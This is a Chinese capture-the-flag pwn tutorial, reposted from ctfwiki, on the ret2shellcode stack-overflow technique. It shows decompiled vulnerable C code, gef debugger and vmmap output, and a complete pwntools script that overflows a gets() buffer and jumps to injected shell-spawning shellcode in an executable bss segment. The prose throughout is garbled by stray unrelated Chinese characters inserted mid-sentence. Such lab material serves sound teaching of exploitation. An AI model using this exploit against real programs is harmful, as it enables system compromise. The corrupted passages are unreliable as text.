ret2shellcode
原理
ret2shellcode,即控制程序執(zhí)行 shellcode代碼摸屠。shellcode 指的是用于完成某個功能的匯編代碼帆吻,常見的功能主要是獲取目標系統(tǒng)的 shell展运。一般來說您访,shellcode 需要我們自己填充铅忿。這其實是另外一種典型的利用方法,即此時我們需要自己去填充一些可執(zhí)行的代碼灵汪。
在棧溢出的基礎(chǔ)上檀训,要想執(zhí)行 shellcode柑潦,需要對應(yīng)的 binary 在運行時,shellcode 所在的區(qū)域具有可執(zhí)行權(quán)限肢扯。
例子
這里我們以 bamboofox 中的 ret2shellcode 為例
點擊下載: ret2shellcode
首先檢測程序開啟的保護
可以看出源程序幾乎沒有開啟任何保護妒茬,并且有可讀,可寫蔚晨,可執(zhí)行段。我們再使用 IDA 看一下程序
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}
這時肛循,我們簡單的調(diào)試下程序铭腕,看看這一個 bss 段是否可執(zhí)行。
gef? b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef? r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
Breakpoint 1, main () at ret2shellcode.c:8
8 setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
6 int main(void)
7 {
→ 8 setvbuf(stdout, 0LL, 2, 0LL);
9 setvbuf(stdin, 0LL, 1, 0LL);
10
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef? vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx
0xf7fd3000 0xf7fd5000 0x00000000 rwx
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
通過 vmmap多糠,我們可以看到 bss 段對應(yīng)的段具有可執(zhí)行權(quán)限
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
那么這次我們就控制程序執(zhí)行 shellcode累舷,也就是讀入 shellcode,然后控制程序執(zhí)行 bss 段處的 shellcode夹孔。其中被盈,相應(yīng)的偏移計算類似于 ret2text 中的例子。
具體的 payload 如下
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
題目
- sniperoj-pwn100-shellcode-x86-64
轉(zhuǎn)載自ctfwiki
期末考了
偷下懶
到返回地址的距離求得方法和上文相同
科普
犯的錯誤
棧的概念理解錯
果然pwn是個很恐怖的東東